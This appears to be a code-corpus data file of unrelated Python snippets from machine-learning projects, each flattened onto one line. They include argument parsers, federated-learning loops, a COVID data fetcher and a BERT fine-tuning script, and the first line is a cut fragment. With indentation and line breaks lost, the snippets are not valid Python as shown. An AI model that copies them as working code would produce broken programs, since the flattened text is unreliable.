metadata={'help': 'multiple threads for converting example to features'})
def parse_synthesize_args(): parser = ArgumentParser(description='Wolf Synthesize') parser.add_argument('--mode', choices=['sample', 'reconstruct', 'interpolate', 'switch', 'classify'], help='synthesis mode', required=True) parser.add_argument('--seed', type=int, default=None, metavar='S', help='random seed') parser.add_argument('--dataset', choices=['cifar10', 'lsun', 'imagenet', 'celeba'], help='data set', required=True) parser.add_argument('--category', choices=[None, 'bedroom', 'tower', 'church_outdoor'], help='category', default=None) parser.add_argument('--image_size', type=int, required=True, metavar='N', help='input image size') parser.add_argument('--workers', default=4, type=int, metavar='N', help='number of data loading workers (default: 4)') parser.add_argument('--n_bits', type=int, default=8, metavar='N', help='number of bits per pixel.') parser.add_argument('--model_path', help='path for saving model file.', required=True) parser.add_argument('--data_path', help='path for data file.', required=True) parser.add_argument('--tau', type=float, default=1.0, metavar='S', help='temperature for iw decoding (default: 1.0)') parser.add_argument('--nsamples', type=int, default=256, metavar='N', help='number of samples.') parser.add_argument('--make_grid', action='store_true', help='make grid of image') parser.add_argument('--probe', choices=['svm-linear', 'svm-rbf', 'logistic'], default=None, help='classifier for probe') return parser.parse_args()
def get_config(): config = ml_collections.ConfigDict() config.actor_lr = 0.0003 config.value_lr = 0.0003 config.critic_lr = 0.0003 config.hidden_dims = (256, 256) config.discount = 0.99 config.expectile = 0.7 config.temperature = 0.5 config.dropout_rate = 0.1 config.tau = 0.005 return config
def indice_conv_backward(features, filters, out_bp, indice_pairs, indice_pair_num, inverse=False, subm=False): if (filters.dtype == torch.float32): return sparse_conv_ext.indice_conv_backward_fp32(features, filters, out_bp, indice_pairs, indice_pair_num, int(inverse), int(subm)) elif (filters.dtype == torch.half): return sparse_conv_ext.indice_conv_backward_half(features, filters, out_bp, indice_pairs, indice_pair_num, int(inverse), int(subm)) else: raise NotImplementedError
def generate_threats(): generate_fixes_table('Number of correct fixes by removing bugs with overlapping developer fixes in the CodeT5 training data', ALL_FIXES, (D4J1_OVERLAPPING_BUGS | D4J2_OVERLAPPING_BUGS))
def save_model(iter_, model_dir, filename, model, optimizer): torch.save({'iteration': iter_, 'model_state_dict': model.state_dict(), 'optimizer_state_dict': optimizer.state_dict()}, os.path.join(model_dir, filename))
def plot_roc(tpr_list, fpr_list, attack_name): plt.figure(figsize=(10, 6)) plt.plot(fpr_list, tpr_list, '-', label=attack_name) plt.title(f'ROC_{attack_name}_Attack') plt.legend(loc=4) plt.xlabel('False Positive Rate') plt.ylabel('True Positive Rate') plt.grid() plt.savefig(f'{attack_name}_ROC_Curve', bbox_inches='tight') plt.show()
def test_glorot_1d_not_supported(): from lasagne.init import GlorotNormal with pytest.raises(RuntimeError): GlorotNormal().sample((100,))
def cat_desc_to_id(cat_desc): if isinstance(cat_desc, (list, tuple)): return tuple((_cat_ids[c] for c in cat_desc)) else: return _cat_ids[cat_desc]
def set_empty_labels(doc): labels = ([0] * len(list(doc.sents))) doc._.Labels = labels doc._.CLPR_Labels = labels return doc
class HDFShardDataset(Dataset): def __init__(self, shard_dir, shard_names=None, primary_key=None, stride=1): super().__init__() self.shard_dir = shard_dir self.shard_names = shard_names if (not shard_names): self.shard_names = sorted(os.listdir(shard_dir)) self.primary_key = self.__primary_key(primary_key) self.stride = stride (self.shard_len, self.dataset_len) = self.__shard_len_dataset_len() def __len__(self): return self.dataset_len def __getitem__(self, idx): shard_num = (idx // self.shard_len) idx -= (shard_num * self.shard_len) nth_shard = h5py.File(os.path.join(self.shard_dir, self.shard_names[shard_num]), 'r') keys = list(nth_shard.keys()) item = {} for key in keys: item[key] = nth_shard[key][(idx * self.stride):((idx + 1) * self.stride)] nth_shard.close() return item def __primary_key(self, primary_key): first_shard = h5py.File(os.path.join(self.shard_dir, self.shard_names[0]), 'r') if (not primary_key): primary_key = list(first_shard.keys())[0] first_shard.close() return primary_key def __shard_len_dataset_len(self): first_shard = h5py.File(os.path.join(self.shard_dir, self.shard_names[0]), 'r') last_shard = h5py.File(os.path.join(self.shard_dir, self.shard_names[(- 1)]), 'r') rows_per_shard = len(first_shard[self.primary_key]) rows_per_last_shard = len(last_shard[self.primary_key]) dataset_len = ((rows_per_shard * (len(self.shard_names) - 1)) // self.stride) dataset_len += (rows_per_last_shard // self.stride) shard_len = (rows_per_shard // self.stride) first_shard.close() last_shard.close() return (shard_len, dataset_len)
class ReinitFL(): def __init__(self, config, server, client_list): self.max_round = config.MAX_ROUND self.server = server self.client_list = client_list (self.list_loss, self.list_acc, self.list_est_time, self.list_model_size) = ([], [], [], []) def main(self): start = timer() for idx in range(self.max_round): (list_state_dict, list_num, list_last_lr) = ([], [], []) for client in self.client_list: (sd, npc, last_lr) = client.main() list_state_dict.append(sd) list_num.append(npc) list_last_lr.append(last_lr) last_lr = list_last_lr[0] for client_lr in list_last_lr[1:]: assert (client_lr == last_lr) (list_mask, new_list_sd) = self.server.main(idx, list_state_dict, list_num, last_lr, start, self.list_loss, self.list_acc, self.list_est_time, self.list_model_size) for (client, new_sd) in zip(self.client_list, new_list_sd): client.load_state_dict(new_sd) client.load_mask(list_mask)
def randint(low: IntNumType, high: Optional[IntNumType]=None, size: Optional[Size]=None, dtype: Type=np.int32, random_state: Optional[np.random.RandomState]=None) -> Any: if (random_state is None): random_state = get_random_state() return random_state.randint(low, high, size, dtype)
def test_mildnonaxi_sigmat2_direct(): idf = dehnendf(beta=0.0) pot = [LogarithmicHaloPotential(normalize=1.0)] edf = evolveddiskdf(idf, pot=pot, to=(- 10.0)) st2 = edf.sigmaT2(0.9, phi=0.2, integrate_method='rk6_c', grid=False) ist2 = idf.sigmaT2(0.9) assert (numpy.fabs((numpy.log(st2) - numpy.log(ist2))) < 0.025), 'sigmat2 of evolveddiskdf for axisymmetric potential is not equal to that of initial DF when calculated directly' return None
class ConvLayer(nn.Module): def __init__(self, in_channels, out_channels, kernel_size, stride=1, padding=0, groups=1, IN=False): super(ConvLayer, self).__init__() self.conv = nn.Conv2d(in_channels, out_channels, kernel_size, stride=stride, padding=padding, bias=False, groups=groups) if IN: self.bn = nn.InstanceNorm2d(out_channels, affine=True) else: self.bn = nn.BatchNorm2d(out_channels) self.relu = nn.ReLU() def forward(self, x): x = self.conv(x) x = self.bn(x) return self.relu(x)
def filter_data(df, header, restraints={}): filtered = [] for row in df: to_add = True for r in restraints.keys(): idx = header[r] val = row[(- 1)][idx] to_add = (to_add and (val in restraints[r])) if to_add: filtered.append(row) return filtered
def on_draw(): window.clear() fps_display.draw() for line in static_lines: body = line.body pv1 = (body.position + line.a.rotated(body.angle)) pv2 = (body.position + line.b.rotated(body.angle)) pyglet.graphics.draw(2, pyglet.gl.GL_LINES, ('v2f', (pv1.x, pv1.y, pv2.x, pv2.y)), ('c3f', ((0.8, 0.8, 0.8) * 2))) batch.draw() for logo_sprite in logos: ps = logo_sprite.shape.get_vertices() n = len(ps) ps = [c for p in ps for c in p] pyglet.graphics.draw(n, pyglet.gl.GL_LINE_LOOP, ('v2f', ps), ('c3f', ((1, 0, 0) * n)))
def normal_entropy(std): var = std.pow(2) entropy = (0.5 + (0.5 * torch.log(((2 * var) * math.pi)))) return entropy.sum(1, keepdim=True)
def main(): parser = argparse.ArgumentParser() parser.add_argument('input') parser.add_argument('--num-shards', type=int) args = parser.parse_args() assert ((args.num_shards is not None) and (args.num_shards > 1)) with open(args.input, 'r', encoding='utf-8') as h: with contextlib.ExitStack() as stack: outputs = [stack.enter_context(open(((args.input + '.shard') + str(i)), 'w', encoding='utf-8')) for i in range(args.num_shards)] doc = [] first_doc = ([True] * args.num_shards) def output_doc(i): if (not first_doc[i]): outputs[i].write('\n') first_doc[i] = False for line in doc: outputs[i].write(line) doc.clear() num_docs = 0 for line in h: if (line.strip() == ''): output_doc((num_docs % args.num_shards)) num_docs += 1 else: doc.append(line) output_doc((num_docs % args.num_shards))
def main(): if (not os.path.exists(opt.output_path)): os.makedirs(opt.output_path) sys.stdout.write(('loading %s...' % opt.filename)) sd = SensorData(opt.filename) sys.stdout.write('loaded!\n') if opt.export_depth_images: sd.export_depth_images(os.path.join(opt.output_path, 'depth')) if opt.export_color_images: sd.export_color_images(os.path.join(opt.output_path, 'color')) if opt.export_poses: sd.export_poses(os.path.join(opt.output_path, 'pose')) if opt.export_intrinsics: sd.export_intrinsics(os.path.join(opt.output_path, 'intrinsic'))
def get_parsed_sent(xml_file, sent_num, map, nlp): catalan = False conllu = '' mark_xml = open(xml_file).read().encode('utf8') base_root = fromstring(mark_xml, xmlparser) tokens = {} sents = {} terms = {} for annotation in base_root: if (annotation.tag == 'text'): for token in annotation: token_idx = token.get('id') if (token_idx is None): catalan = True token_idx = token.get('wid') tok = token.text sent = token.get('sent') tokens[token_idx] = tok sents[token_idx] = sent if (annotation.tag == 'terms'): for term in annotation: if (term.tag == 'term'): idx = term.get('id') if (idx is None): idx = term.get('tid') idx = idx.replace('t', 'w') lemma = term.get('lemma') if catalan: pos = term.get('pos') else: pos = term.get('morphofeat') upos = map_to_upos(pos, map) terms[idx] = (lemma, pos, upos) sentidx2tokenidx = get_sents(sents) token_idxs = sentidx2tokenidx[str(sent_num)] text = ' '.join([tokens[i] for i in token_idxs]) processed = nlp(text) deps = [(t.head, t.deprel) for t in processed.sentences[0].words] for (i, tokenidx) in enumerate(token_idxs): token = tokens[tokenidx] (lemma, tag, pos) = terms[tokenidx] (head, deprel) = deps[i] conllu += '{}\t{}\t{}\t{}\t{}\t_\t{}\t{}\t_\t_\n'.format((i + 1), token, lemma, pos, tag, head, deprel) return conllu
def test_cif_realnvp_config(): config = get_config(dataset='mnist', model='realnvp', use_baseline=False) true_config = {'schema_type': 'multiscale-realnvp', 'use_cond_affine': True, 'pure_cond_affine': False, 'g_hidden_channels': [64, 64, 64, 64], 'num_u_channels': 1, 'st_nets': [8, 8], 'p_nets': [64, 64], 'q_nets': [64, 64], 'early_stopping': True, 'train_batch_size': 100, 'valid_batch_size': 500, 'test_batch_size': 500, 'opt': 'adam', 'lr': 0.0001, 'weight_decay': 0.0, 'logit_tf_lambda': 1e-06, 'logit_tf_scale': 256, 'dequantize': True, 'act_norm': False, 'batch_norm': True, 'batch_norm_apply_affine': False, 'batch_norm_use_running_averages': True, 'batch_norm_momentum': 0.1, 'lr_schedule': 'none', 'max_bad_valid_epochs': 50, 'max_grad_norm': None, 'max_epochs': 1000, 'epochs_per_test': 1, 'train_objective': 'iwae', 'num_train_importance_samples': 1, 'num_valid_importance_samples': 5, 'num_test_importance_samples': 10} assert (true_config == config)
def fetch_history_for_many_ags(ags_list): AG_RKI_SUMS_QUERY_BASE_URL = os.environ['AG_RKI_SUMS_QUERY_BASE_URL'] md = 'Meldedatum' ts = 'timestamp' idlk = 'IdLandkreis' t_start = '2020-05-01 22:00:00' d_end = (datetime.today() - timedelta(days=0)) t_end = f"{d_end.strftime('%Y-%m-%d')} 23:59:59" ags_padded_list = [str(ags).zfill(5) for ags in ags_list] ags_padded_list_cs = ', '.join((f"'{a}'" for a in ags_padded_list)) where_clause = f"({md}>{ts} '{t_start}') AND ({md}<{ts} '{t_end}') AND ({idlk} IN ({ags_padded_list_cs}))" record_count_limit = (52 * (10 ** 4)) paramdict = {'where': where_clause, 'returnGeometry': 'false', 'outFields': '*', 'orderByFields': 'Meldedatum asc', 'resultOffset': 0, 'resultRecordCount': record_count_limit, 'f': 'json'} params = urllib.parse.urlencode(paramdict) url = f'{AG_RKI_SUMS_QUERY_BASE_URL}{params}' log.info('Query for history for these AGSs: %s', ags_list) log.info('query params:%s', json.dumps(paramdict, indent=2)) attempt = 0 while True: attempt += 1 if (attempt >= 10): sys.exit('too many attempts, stop retrying') try: resp = requests.get(url, headers={'user-agent': 'Mozilla/5.0 (X11; Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36'}, timeout=(3.05, 75)) resp.raise_for_status() except requests.exceptions.RequestException as err: log.info('request error (attempt %s): %s', attempt, err) log.info('retry soon') time.sleep(15) continue log.info('Got OK response, parse through data') data = resp.json() if ('features' in data): log.info('response looks good') break log.info('unexpected data (attempt %s) -- retry soon:\n%s', attempt, json.dumps(data, indent=2)) time.sleep(15) log.info('response contains %s feature objects', len(data['features'])) if (len(data['features']) > (0.6 * record_count_limit)): log.warning('that is close to %s', record_count_limit) data_by_ags = {} for ags in ags_list: data_by_ags[ags] = {'timestrings': [], 'cases': [], 'deaths': []} for obj in (o['attributes'] for o in data['features']): md_aware_loc = datetime.fromtimestamp(int((obj['Meldedatum'] / 1000.0)), tz=pytz.timezone('Europe/Amsterdam')) md_aware_utc = md_aware_loc.astimezone(pytz.utc) md_aware_utc = (md_aware_utc + timedelta(hours=17)) ags = int(obj['IdLandkreis']) data_by_ags[ags]['timestrings'].append(md_aware_utc.isoformat()) data_by_ags[ags]['cases'].append(obj['SummeFall']) data_by_ags[ags]['deaths'].append(obj['SummeTodesfall']) dataframes = {} for (ags, data) in data_by_ags.items(): df = pd.DataFrame(data={ags: data['cases'], f'{ags}_deaths': data['deaths']}, index=data['timestrings']) df.index = pd.to_datetime(df.index) df.index.name = 'time_iso8601' dataframes[ags] = df log.info('aggregated %s dataframes', len(dataframes)) return dataframes
def convert_beit(ckpt): new_ckpt = OrderedDict() for (k, v) in ckpt.items(): if k.startswith('blocks'): new_key = k.replace('blocks', 'layers') if ('norm' in new_key): new_key = new_key.replace('norm', 'ln') elif ('mlp.fc1' in new_key): new_key = new_key.replace('mlp.fc1', 'ffn.layers.0.0') elif ('mlp.fc2' in new_key): new_key = new_key.replace('mlp.fc2', 'ffn.layers.1') new_ckpt[new_key] = v elif k.startswith('patch_embed'): new_key = k.replace('patch_embed.proj', 'patch_embed.projection') new_ckpt[new_key] = v else: new_key = k new_ckpt[new_key] = v return new_ckpt
class DepthEstimatorOutput(ModelOutput): loss: Optional[torch.FloatTensor] = None predicted_depth: torch.FloatTensor = None hidden_states: Optional[Tuple[torch.FloatTensor]] = None attentions: Optional[Tuple[torch.FloatTensor]] = None
def linelistPath(linelist, dr=None): if (dr is None): dr = 'current' specReduxPath = apogeeSpectroReduxDirPath(dr=dr) return os.path.join(specReduxPath, 'speclib', 'linelists', linelist)
class KAF(Layer): def __init__(self, num_parameters, D=20, boundary=3.0, conv=False, init_fcn=None, kernel='gaussian', **kwargs): self.num_parameters = num_parameters self.D = D self.boundary = boundary self.init_fcn = init_fcn self.conv = conv if self.conv: self.unsqueeze_dim = 4 else: self.unsqueeze_dim = 2 self.kernel = kernel if (not (kernel in ['gaussian', 'relu', 'softplus'])): raise ValueError('Kernel not recognized (must be {gaussian, relu, softplus})') super().__init__(**kwargs) def build(self, input_shape): d = np.linspace((- self.boundary), self.boundary, self.D).astype(np.float32).reshape((- 1), 1) if self.conv: self.dict = self.add_weight(name='dict', shape=(1, 1, 1, 1, self.D), initializer='uniform', trainable=False) tf.assign(self.dict, d.reshape(1, 1, 1, 1, (- 1))) else: self.dict = self.add_weight(name='dict', shape=(1, 1, self.D), initializer='uniform', trainable=False) tf.assign(self.dict, d.reshape(1, 1, (- 1))) if (self.kernel == 'gaussian'): self.kernel_fcn = self.gaussian_kernel interval = (d[1] - d[0]) sigma = (2 * interval) self.gamma = (0.5 / np.square(sigma)) elif (self.kernel == 'softplus'): self.kernel_fcn = self.softplus_kernel else: self.kernel_fcn = self.relu_kernel if self.conv: self.alpha = self.add_weight(name='alpha', shape=(1, 1, 1, self.num_parameters, self.D), initializer='normal', trainable=True) else: self.alpha = self.add_weight(name='alpha', shape=(1, self.num_parameters, self.D), initializer='normal', trainable=True) if (self.init_fcn is not None): if (self.kernel == 'gaussian'): kernel_matrix = np.exp(((- self.gamma) * ((d - d.T) ** 2))) elif (self.kernel == 'softplus'): kernel_matrix = np.log((np.exp((d - d.T)) + 1.0)) else: raise ValueError('Cannot perform kernel ridge regression with ReLU kernel (singular matrix)') alpha_init = np.linalg.solve((kernel_matrix + (1e-05 * np.eye(self.D))), self.init_fcn(d)).reshape((- 1)) if self.conv: tf.assign(self.alpha, np.repeat(alpha_init.reshape(1, 1, 1, 1, (- 1)), self.num_parameters, axis=3)) else: tf.assign(self.alpha, np.repeat(alpha_init.reshape(1, 1, (- 1)), self.num_parameters, axis=1)) super(KAF, self).build(input_shape) def gaussian_kernel(self, x): return tf.exp(((- self.gamma) * ((tf.expand_dims(x, axis=self.unsqueeze_dim) - self.dict) ** 2.0))) def softplus_kernel(self, x): return tf.softplus((tf.expand_dims(x, axis=self.unsqueeze_dim) - self.dict)) def relu_kernel(self, x): return tf.relu((tf.expand_dims(x, axis=self.unsqueeze_dim) - self.dict)) def call(self, x): kernel_matrix = self.kernel_fcn(x) return tf.reduce_sum((kernel_matrix * self.alpha), axis=self.unsqueeze_dim)
def rotate_and_shift_coordination(orig_x, orig_y, orig_d, coordi_shift_x, coordi_shift_y, coordi_rotate_d): (shift_x, shift_y, transformed_d) = rotate_coordination(orig_x, orig_y, orig_d, coordi_rotate_d) (transformed_x, transformed_y) = shift_coordination(shift_x, shift_y, coordi_shift_x, coordi_shift_y) return (transformed_x, transformed_y, transformed_d)
def train_one(task, model, opt, args, grad): model['ebd'].train() model['clf'].train() opt.zero_grad() (support, query) = task XS = model['ebd'](support) YS = support['label'] XQ = model['ebd'](query) YQ = query['label'] (_, loss) = model['clf'](XS, YS, XQ, YQ) if (loss is not None): loss.backward() if torch.isnan(loss): return if (args.clip_grad is not None): nn.utils.clip_grad_value_(grad_param(model, ['ebd', 'clf']), args.clip_grad) grad['clf'].append(get_norm(model['clf'])) grad['ebd'].append(get_norm(model['ebd'])) opt.step()
def fed_test(fed, running_model, val_loaders, verbose, adversary=None): mark = ('s' if (adversary is None) else 'r') val_acc_list = [None for _ in range(fed.client_num)] val_loss_mt = AverageMeter() for client_idx in range(fed.client_num): fed.download(running_model, client_idx) (val_loss, val_acc) = test(running_model, val_loaders[client_idx], loss_fun, device, adversary=adversary) val_loss_mt.append(val_loss) val_acc_list[client_idx] = val_acc if (verbose > 0): print(' {:<19s} Val {:s}Loss: {:.4f} | Val {:s}Acc: {:.4f}'.format(('User-' + fed.clients[client_idx]), mark.upper(), val_loss, mark.upper(), val_acc)) wandb.log({f'{fed.clients[client_idx]} val_{mark}-acc': val_acc}, commit=False) return (val_acc_list, val_loss_mt.avg)
def prepare_query_box(boxes_list, q, scene): def get_boxes_idx(box): if (box in boxes_list): return boxes_list.index(box) else: boxes_list.append(box) return (len(boxes_list) - 1) def add_boxes_by_rids(rids): def get_box_xyxy(obj): (x, y, w, h) = (obj['x'], obj['y'], obj['w'], obj['h']) return (x, y, (x + w), (y + h)) boxes_idx = [] for rid in rids: ref = scene['objects'][rid] ref_box = list(get_box_xyxy(ref)) boxes_idx.append(get_boxes_idx(ref_box)) return boxes_idx sent = list(q['question'].split()) query_boxes_seq = [] for (span, rids_str) in q['annotations']['question'].items(): span = tuple(map(int, span.split(':'))) if (len(span) == 1): span = [span[0], (span[0] + 1)] sent[(span[1] - 1)] = f'{sent[(span[1] - 1)]}{BOXES_PLACEHOLDER}' boxes_idx = add_boxes_by_rids(rids_str.split(',')) query_boxes_seq.append(boxes_idx) sent_converted = ' '.join(sent).strip() return (boxes_list, sent_converted, query_boxes_seq)
def standard_pole_step(): from phcpy.phcpy2c3 import py2c_padcon_standard_pole_step return py2c_padcon_standard_pole_step()
def cg(Ax, b, cg_iters=100): x = np.zeros_like(b) r = b.copy() p = r.copy() r_dot_old = np.dot(r, r) for _ in range(cg_iters): z = Ax(p) alpha = (r_dot_old / (np.dot(p, z) + EPS)) x += (alpha * p) r -= (alpha * z) r_dot_new = np.dot(r, r) p = (r + ((r_dot_new / r_dot_old) * p)) r_dot_old = r_dot_new if (np.linalg.norm(p) < EPS): break return x
class UCM(ImageFolder): def __init__(self, root: str='.data/UCMerced_LandUse', transform: T.Compose=T.Compose([T.ToTensor()])): super().__init__(root=os.path.join(root, 'Images'), transform=transform)
def BasicTransposeConv2d(in_channels, out_channels, kernel_size, stride, pad, dilation): output_pad = ((((stride + (2 * pad)) - (kernel_size * dilation)) + dilation) - 1) return nn.Sequential(nn.ConvTranspose2d(in_channels, out_channels, kernel_size, stride, pad, output_pad, dilation, bias=False), nn.BatchNorm2d(out_channels), nn.LeakyReLU(inplace=True, negative_slope=0.2))
def main(config='config/finetune/agnews/train.json'): cfg = Config(**json.load(open(config, 'r'))) cfg_data = data.Config(**json.load(open(cfg.cfg_data, 'r'))) cfg_model = models.Config(**json.load(open(cfg.cfg_model, 'r'))) cfg_optim = trainer.Config(**json.load(open(cfg.cfg_optim, 'r'))) set_seeds(cfg.seed) TaskDataset = data.get_class(cfg_data.task) tokenizer = tokenization.FullTokenizer(vocab_file=cfg_data.vocab_file, do_lower_case=True) dataset = TaskDataset(cfg_data.data_file[cfg.mode], pipelines=[data.RemoveSymbols('\\'), data.Tokenizing(tokenizer.convert_to_unicode, tokenizer.tokenize), data.AddSpecialTokensWithTruncation(cfg_data.max_len), data.TokenIndexing(tokenizer.convert_tokens_to_ids, TaskDataset.labels, cfg_data.max_len)], n_data=None) dataset = TensorDataset(*dataset.get_tensors()) data_iter = DataLoader(dataset, batch_size=cfg_optim.batch_size, shuffle=True) model = models.BlendCNN(cfg_model, len(TaskDataset.labels)) checkpoint.load_embedding(model.embed, cfg.pretrain_file) optimizer = optim.optim4GPU(cfg_optim, model) train_loop = trainer.TrainLoop(cfg_optim, model, data_iter, optimizer, cfg.save_dir, get_device()) def get_loss(model, batch, global_step): (input_ids, segment_ids, input_mask, label_id) = batch logits = model(input_ids, segment_ids, input_mask) loss = nn.CrossEntropyLoss()(logits, label_id) return loss def evaluate(model, batch): (input_ids, segment_ids, input_mask, label_id) = batch logits = model(input_ids, segment_ids, input_mask) (_, label_pred) = logits.max(1) result = (label_pred == label_id).float() accuracy = result.mean() return (accuracy, result) if (cfg.mode == 'train'): train_loop.train(get_loss, cfg.model_file, None) print('Training has been done properly.') elif (cfg.mode == 'eval'): results = train_loop.eval(evaluate, cfg.model_file) total_accuracy = torch.cat(results).mean().item() print(f'Accuracy: {total_accuracy}')